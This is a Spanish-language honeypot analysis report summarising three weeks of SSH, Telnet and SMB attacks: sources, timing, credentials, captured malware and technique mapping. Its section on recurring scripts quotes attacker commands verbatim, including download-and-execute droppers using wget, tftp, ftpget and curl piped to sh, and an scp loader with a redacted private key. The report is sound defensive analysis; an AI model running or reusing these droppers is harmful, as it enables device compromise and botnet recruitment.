Análisis del señuelo

2026-08-22 11:20 a 2026-09-11 08:50 · generado el 2026-09-15 15:55 UTC desde respaldo

Todas las fechas y horas de este informe van en UTC, incluidas las de las tablas. Cowrie firma sus marcas con una "Z", pero escribe la hora local del contenedor, así que se reinterpretan como Europe/Kyiv y se convierten a UTC al leerlas; sin esa corrección, las marcas saldrían corridas y con pinta de correctas. Dionaea sí guarda UTC de verdad.

1. Lo que este informe no puede saber

• El país de una IP no es el país de quien ataca. La geolocalización es aproximada y sale de una tabla pública; una VPN, un proxy o una máquina ajena ya comprometida salen con el país de la máquina, no con el de la persona.
• Una IP no es una persona ni un actor. Detrás de una dirección puede haber una red entera con NAT, y un mismo operador puede ir rotando por cientos de direcciones. Cuando aquí se habla de "IPs distintas", se habla solo de direcciones.
• Cowrie emula un shell. Lo que se ve es lo que el atacante hizo contra un señuelo: qué habría hecho en una máquina de verdad no se puede saber, y hay herramientas que se van en cuanto algo no responde como esperan.
• Unos días de datos no son una tendencia. Sirven para describir este periodo, no para decir que algo sube o baja.
• Esto es una máquina, en un proveedor, en un país. Lo que recibe un señuelo depende del rango en el que esté; no es una muestra de todo internet.
• Lo que Cowrie no pudo decodificar se perdió antes de llegar aquí. Los bytes que anotó como carácter de reemplazo no están en el registro y no hay forma de recuperarlos.
• La columna ATT&CK es interpretación nuestra, y la única del informe: sale de ttp.tsv, que escribimos a mano.

2. Resumen

Cuánto llegó. Una participación es un contacto con cualquiera de los dos señuelos, y el total es la suma de los dos: 805.262 en total.

Qué hicieron. Esta es la cifra que separa la actividad real del ruido de fondo. Las dos proporciones van aparte porque no están en la misma unidad: una cuenta sesiones y la otra intentos de credencial.

• 397.853 órdenes tecleadas en total, una media de 17 por sesión entre las que teclean
• Un login correcto es alguien que acertó una de las credenciales que pusimos nosotros a propósito

Quién. Cuántas IPs distintas hay detrás de esas participaciones. Una IP distinta es una dirección, participe una vez o mil.

• 7.574 IPs distintas, desde 151 países
• Una media de 106 participaciones por IP
• 163 de ellas tocaron los dos señuelos, que están en direcciones públicas distintas

Qué hicimos nosotros. La única cifra del resumen que no habla de los atacantes, sino de nuestra reacción: 74 IPs baneadas , según la memoria del bot.

Lo que de verdad dicen esos números:

• El 3,9% de las sesiones llega a teclear algo (23.098 de 595.638)
• El resto prueba credenciales y se va. Esa es la cifra que conviene citar: el total de sesiones mide el ruido de fondo de internet, no la actividad real contra el señuelo
• Intentos de login que acertaron la credencial: 999

De esos 151 países, 21 aparecen con una sola IP y no salen en ninguna tabla ni en ningún esquema: los de arriba se llevan el volumen, pero la lista larga también atacó. Y 1 no se ha podido localizar.

2.1  Todos los países que han atacado

• Los 151 países en total que han participado, incluidos los que no caben en ningún esquema
• De cada uno: sus IPs distintas y sus órdenes tecleadas
• 21 aparecen con una sola IP

Elige cómo ordenarlo:

Destaca siempre aquello por lo que se ordena: el nombre en el orden alfabético, y la cifra correspondiente en los otros dos. Las demás cifras se quedan en gris a la derecha: se pueden comparar, pero no compiten con la que manda. La reordenación la hace el navegador con CSS, sin JavaScript: al copiar y pegar en un documento sale siempre en orden alfabético, que es como está escrito el fichero.

La memoria del bot guarda 205 guiones, 711 IPs, 74 muestras y 2 credenciales, y caduca a los 30 días con tope de 5.000 IPs. Los recuentos de arriba salen de cowrie.json, que es el que no olvida.

2.2  Cuándo han atacado más

Qué se puede ver aquí:

• Participaciones totales, los dos señuelos juntos
• Participaciones solo vía Cowrie (SSH y Telnet)
• Participaciones solo vía Dionaea (SMB, MSSQL y RPC)

Decimos participaciones y no "ataques" porque lo que se registra es muy distinto entre sí: unos fallan el login y se van, otros entran y no hacen nada, y otros entran y sueltan un binario. Llamarlo "ataques" daría a entender que todos consiguieron algo. Una participación es un contacto con el señuelo: una sesión en Cowrie o una conexión en Dionaea.

Cómo se lee el gráfico:

• Eje horizontal (X): los días, uno por barra. Arriba el día del mes, abajo el mes
• Eje vertical (Y): las participaciones de ese día
• Las barras más oscuras son los días de más actividad
• Pasando el ratón por una barra salen su fecha y su cifra exacta

Elige qué visualizar:

2.3  A qué hora

• La hora más movida: las 17:00 UTC, con 52.427 participaciones
• La más tranquila: las 07:00 UTC, con 25.276 participaciones
• La hora más movida tiene 2,1 veces la actividad de la más tranquila, sobre una media de 33.552 por hora

Aquí importa menos la hora punta que lo parecidas que son las veinticuatro. Un reparto plano indica automatización, porque las máquinas no duermen. Si la actividad se concentrara en unas ocho horas, apuntaría a personas con horario, y eso sería lo llamativo.

2.4  Cuánto duran

• La mitad de las sesiones dura menos de 1,3 s
• Nueve de cada diez, menos de 6,0 s
• La más larga duró 51 min 29 s

2.5  De dónde: desde cuántos sitios distintos

Qué se puede ver aquí:

• IPs distintas totales, los dos señuelos juntos
• Solo las de Cowrie (SSH y Telnet)
• Solo las de Dionaea (SMB, MSSQL y RPC)

Una IP distinta es una dirección desde la que llegó al menos una participación. Si la misma dirección participa mil veces, cuenta una. Por eso esta figura mide algo distinto de la siguiente: aquí se ve desde cuántos sitios se ataca, y en la siguiente cuánto insiste cada uno.

Cómo se lee el gráfico:

• Cada triángulo es un país, y van repartidos en círculo
• El área del triángulo es proporcional a sus IPs. Se escala el área y no el lado, porque escalando el lado el doble se vería cuatro veces más grande
• En el centro, cuántas IPs suman los países dibujados y cuántos países quedan fuera
• Pasando el ratón por un triángulo sale su cifra exacta

Elige qué visualizar:

2.6  Quién trabaja de verdad

Qué se puede ver aquí:

• Actividad total, sumando los dos señuelos
• Solo las órdenes tecleadas en Cowrie
• Solo las conexiones a Dionaea

Una orden es cada línea que el atacante teclea ya dentro del señuelo. Una conexión es cada vez que se toca un puerto de Dionaea. Son cosas distintas y no se pueden comparar entre sí, pero sí se pueden sumar para saber qué país está más activo, y por eso el total lleva el desglose en cada barra.

Cómo se lee el gráfico:

• Cada barra es un país, de más a menos actividad
• Al final de la barra, su cifra; debajo, de qué se compone y desde cuántas IPs distintas sale
• Arriba, las dos llaves dicen qué es cada columna, y cambian con la pestaña que elijas
• Mucha actividad con pocas IPs es alguien trabajando; muchas IPs con poca actividad es un barrido automático

Elige qué visualizar:

2.7  Protocolos: por dónde entran

Qué se puede ver aquí:

• El reparto entre todos los protocolos, en un pastel
• Solo Telnet (puerto 23): los países que más lo atacan
• Solo SMB (puerto 445): los países que más lo atacan
• Solo SSH (puerto 22): los países que más lo atacan
• Solo MSSQL (puerto 1433): los países que más lo atacan
• Solo RPC (puerto 135): los países que más lo atacan

Los puertos son los públicos, no los internos del contenedor: Cowrie escucha en 2222 y 2223, pero quien ataca marcó el 22 y el 23. Un contacto es una participación contra ese puerto.

Cómo se leen:

• En el pastel, el porcentaje va dentro del trozo y la cifra exacta en la leyenda
• En las barras, cada una es un país, de más a menos
• Muchos contactos y pocos países es una botnet concreta; muchos de los dos es ruido de fondo de internet

Elige qué visualizar:

3. Actores: los guiones que se repiten

Un guion es el conjunto de órdenes ya normalizadas (URLs, IPs, hexadecimales y números largos sustituidos) que se repite entre sesiones. Que dos IPs compartan guion dice que usan la misma herramienta; no dice que sean el mismo actor.

3.1  Los que más aprietan

Los mismos guiones, ordenados por la media de órdenes por IP en vez de por el número de IPs que los corren. Un guion con pocas IPs y muchísimas órdenes por cada una suele ser alguien que vuelve una y otra vez, no un barrido.

3.2  Cómo se llaman a sí mismas

Muchas órdenes llevan una tira del tipo echo -e "\x4f\x56\x46": la herramienta escribe una palabra byte a byte y espera leerla de vuelta, que es como comprueba que al otro lado hay un shell de verdad y no un dispositivo que ignora lo que recibe. En hexadecimal es ruido; en claro es el nombre que la variante se pone a sí misma o la señal con la que se reconoce.

La orden se enseña tal como llegó en el desplegable de más abajo: esto es una lectura de esa prueba, no una sustitución. Solo se descifran las tiras que salen enteras en texto imprimible: con media palabra legible no se puede leer nada sin adivinar.

3.3  Con qué se conectan

La versión del cliente es la cadena que manda el programa del atacante nada más abrir la conexión, antes de probar ninguna credencial. No la elige quien ataca: la pone su herramienta, y por eso dice más de qué está corriendo que las órdenes que teclee después.

• El que más: SSH-2.0-Go, en 94.550 de 100.365 sesiones con cliente anotado (el 94,2%)
• Clientes distintos: 114

El HASSH es el resumen de los algoritmos que el cliente ofrece al negociar la conexión (cifrados, intercambio de claves, MAC y compresión) y del orden en que los ofrece. Lo calcula Cowrie. Dos IPs con el mismo HASSH corren el mismo programa aunque tecleen cosas distintas: esa huella no se cambia sin recompilar o sin cambiar de librería, y el atacante no la ve.

3.4  Quién corre cada guion

e56f5556b768 : 68 IPs, 75 sesiones, 2.596 órdenes · visto del 2026-09-01 08:51 al 2026-09-11 08:27

(y 53 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-

96b7a2c94703 : 58 IPs, 59 sesiones, 2.351 órdenes · visto del 2026-08-23 20:30 al 2026-09-10 18:16

(y 43 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(ftpget <IP> f ftpget || busybox ftpget <IP> f ftpget) > f; chmod 777 f; ./f; rm -rf f
ftpget <IP> f ftpget
echo -e "\x47\x41\x59\x46\x47\x54"

2d50aaadc233 : 41 IPs, 42 sesiones, 42 órdenes · visto del 2026-09-06 16:55 al 2026-09-11 08:22

(y 26 IPs más)

uname -a 2>/dev/null

7ab552f01de9 : 35 IPs, 71 sesiones, 71 órdenes · visto del 2026-08-22 14:58 al 2026-09-09 11:42

(y 20 IPs más)

uname -s -v -n -r -m

4dd379d2cd85 : 34 IPs, 35 sesiones, 350 órdenes · visto del 2026-08-22 11:54 al 2026-09-10 14:50

(y 19 IPs más)

sh
shell
shell
enable
system
system
ping; sh
/bin/busybox STC
/bin/busybox hostname TOASTER
/bin/busybox wget <URL> -O- | sh;rm -rf tftp.sh;/bin/busybox tftp <IP> -g -r tftp.sh -l tftp.sh;chmod 777 tftp.sh && sh tftp.sh;rm -rf ftp.sh;/bin/busybox ftpget <IP> -P <N> ftp.sh ftp.sh;chmod 777 ftp.sh && sh ftp.sh;

1b66b7c0ce68 : 33 IPs, 36 sesiones, 828 órdenes · visto del 2026-08-24 01:23 al 2026-09-11 04:50

(y 18 IPs más)

id
cat /etc/passwd
echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
enable
system
system
shell
shell
sh
bash
cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
<CLAVE PRIVADA OMITIDA>
-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
-----END OPENSSH PRIVATE KEY----- > key.ppk; echo StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@<IP>:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- <URL> || curl -sk <URL> | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"

2e66008255ae : 33 IPs, 34 sesiones, 476 órdenes · visto del 2026-08-22 12:12 al 2026-09-01 12:27

(y 18 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"

58fdeea7f78d : 21 IPs, 22 sesiones, 872 órdenes · visto del 2026-08-26 21:34 al 2026-09-10 13:56

(y 6 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
busybox
cd /proc && cat self/cmdline
/bin/busybox
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
/bin/busybox
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
/bin/busybox
/bin/busybox
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
... y 2 órdenes más

5e4118608095 : 17 IPs, 67 sesiones, 938 órdenes · visto del 2026-08-22 11:39 al 2026-08-25 07:29

(y 2 IPs más)

start
start
enable
config terminal
config terminal
system
system
linuxshell
linuxshell
su
sh
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x58\x4e\x54\x4e\x50\x53'
/bin/busybox wget;/bin/busybox echo -ne '\x58\x4e\x54\x4e\x50\x53'
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget <URL> ||curl -O <URL> ||/bin/busybox wget <URL> 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x53\x46\x4c\x53\x4c\x55\x4d\x52'

a907ec7650e4 : 13 IPs, 43 sesiones, 3.741 órdenes · visto del 2026-08-28 20:56 al 2026-09-05 22:26

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo "")
uname -s -v -n -m 2 > /dev/null
head -1 /proc/version | cut -d -f1 )
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo "")
uname -m 2 > /dev/null
grep -q lm /proc/cpuinfo
echo x86_64 )
grep -q CPU architecture: 8 /proc/cpuinfo
( [ -f /proc/cpuinfo ]
[ -f /proc/cpuinfo ]
grep -q CPU architecture: 7 /proc/cpuinfo
echo
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cat /proc/uptime 2 > /dev/null
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null)
nproc 2 > /dev/null
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
{ lscpu 2 > /dev/null | awk -F: /Model name/ {print $2}
{ lscpu
grep -m1 -E ^model name /proc/cpuinfo 2 > /dev/null | cut -d: -f2-
grep -m1 -E ^Hardware /proc/cpuinfo 2 > /dev/null | cut -d: -f2-
cat /proc/device-tree/model 2 > /dev/null
} | sed /^$/d
}
/unknown/d
/unknown/d
s/^ [ [ :space: ] ] *//
s/^ [ [ :space: ] ] *//
s/ [ [ :space: ] ] *$//
s/ [ [ :space: ] ] *$//
s/ AArch64 Processor$//
s/ AArch64 Processor$//
s/ Processor$//
s/ Processor$//
s/ CPU$// | head -1
s/ CPU$//
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
(lspci 2 > /dev/null | grep -i vga
lspci 2 > /dev/null | grep -i nvidia
... y 47 órdenes más

4. IPs

La columna de logins fallidos lleva un guion (-), y no un cero, en las IPs que solo entraron por Telnet: este informe solo cuenta los logins de SSH, así que de una sesión de Telnet no se sabe si probó credenciales. Un cero diría que probó y no acertó, que es otra cosa.

4.1  Por país

Las cifras de esta tabla son solo de Cowrie: sesiones y órdenes son cosas de Cowrie, así que sus IPs también. La lista de "Todos los países que han atacado" cuenta las de los dos señuelos, y por eso un mismo país puede salir allí con más IPs que aquí. No es un descuadre: las dos cifras cuentan cosas distintas.

4.2  Por red /24

Agrupar las IPs por su red sirve para ver si detrás de muchas direcciones hay unas pocas redeso si el reparto está disperso. Las cifras de abajo lo dicen.

• 7.574 IPs repartidas en 6.061 redes /24 distintas
• Una media de 1,25 IPs por red
• La red más poblada aporta 94 IPs: el 1,2% del total

La tabla va de las redes con más direcciones a las que menos tienen. Mira la columna de órdenes para saber si además teclean algo o solo tocan y se van, la misma distinción que se hace en "Cuánto duran".

4.3  Las que tocaron los dos señuelos

163 IPs de las 7.574 aparecen en los dos señuelos: el 2,2% del total. Los dos escuchan en direcciones públicas distintas (una para el Linux y otra para el Windows, a propósito, porque un mismo host con SSH de Debian y SMB de Windows sería sospechoso). Quien aparece en los dos no buscaba un servicio concreto: ha recorrido el rango entero del proveedor.

4.4  IPs baneadas

En total 74, según la memoria del bot. Se cruzan aquí con lo que hicieron: una IP baneada que no había tecleado nada entró por el baneo automático de repetición, no por lo que hizo en la sesión.

• 74 baneadas en total, según la memoria del bot
• 74 con actividad en este registro; 0 son de antes
• 7.564 IPs denunciadas a AbuseIPDB en total, que es otra cosa: no tienen por qué estar entre las baneadas

4.5  Quién ordenó cada baneo

• 57 automáticos, puestos por el vigilante al repetirse la IP
• 5 a mano, desde el botón de Telegram
• 11 con la etiqueta antigua, de origen desconocido: son de antes de que se separaran las etiquetas automática y manual
• 1 que el bot recuerda pero ya no está en el cortafuegos: o caducó, o se quitó a mano

Las puestas a mano, una a una: <IP-SI-002>, <IP-PK-023>, <IP-PK-024>, <IP-PK-008>, <IP-PK-017>

5. Credenciales probadas

5.1  Las que funcionaron

O sea, las que pusimos nosotros en userdb.

5.2  Qué hicieron los que acertaron

• 999 sesiones entraron con una credencial buena
• 318 de ellas teclearon algo (el 31,8%); las otras 681 entraron y se fueron sin escribir una sola orden

Entrar y no hacer nada no indica un fallo del señuelo. Es lo habitual en quien solo quiere saber si la clave vale, para apuntarla o venderla. Quien viene a usar la máquina se queda y teclea.

5.3  Las más intentadas sin éxito

Es el diccionario de contraseñas que traen los atacantes.

5.4  Usuarios más buscados

6. Malware capturado

Los dos señuelos juntos. El SHA-256 se calcula del fichero, no se da por bueno el nombre: Cowrie y Dionaea nombran sus capturas por su hash, pero eso es una convención y un respaldo hecho en caliente puede dejar un fichero a medias con el nombre entero.

6.1  Los más entregados

Ordenados por cuántas veces se entregó el mismo binario. Una muestra que llega cientos de veces desde decenas de IPs es una campaña; una que llega una sola vez suele ser una prueba.

6.2  Agrupados por tamaño

Decenas de binarios distintos que pesan casi lo mismo suelen ser el mismo programa recompilado con variaciones de unos bytes. Por eso el número de muestras distintas engaña si se lee como número de familias.

269 de los 357 binarios distintos (75,4%) pesan exactamente 5.298.176 bytes, no parecido: el mismo número al byte, con 269 hashes distintos. Contarlos como 357 muestras distintas es correcto; leerlos como 357 programas distintos, no.

6.3  Quién sirve el malware, y además ataca

La URL de origen de una muestra dice de dónde se la bajó el señuelo. Estas direcciones aparecen ahí y en la lista de atacantes: se conectaron ellas mismas y, además, sirvieron el binario a otras. Eso apunta a la infraestructura de quien dirige el ataque, más que a una máquina infectada que alguien usa de paso.

7. TTPs

La conducta y los recuentos son observados. La columna ATT&CK es inferida: es nuestra lectura de esa conducta, y sale de ANALISIS/ttp.tsv.

7.1  Órdenes sin técnica asignada

No casan con ninguna fila de ttp.tsv. Merecen una mirada: o son ruido, o son una técnica que falta por añadir. Esta tabla es la lista de tareas de la tabla de técnicas.

7.2  Lo que no se ha visto

Estas conductas se buscaron y no aparecieron ni una vez. No es lo mismo que no haberlas mirado: ttp.tsv es la lista de lo que este informe sabe reconocer, y estas son las filas que se quedaron a cero.

Que no aparezca no prueba que no ocurriera, solo que no dejó rastro reconocible en lo que este señuelo puede ver. Un Cowrie no observa movimiento lateral ni persistencia real porque no hay a dónde moverse ni dónde quedarse.

8. Dionaea: qué se toca por el lado Windows

8.1  Quién más insiste

A. De dónde salen los datos

Una sección vacía más arriba puede significar dos cosas distintas: que no hubo actividad, o que el fichero no estaba en el respaldo. Esta tabla las separa.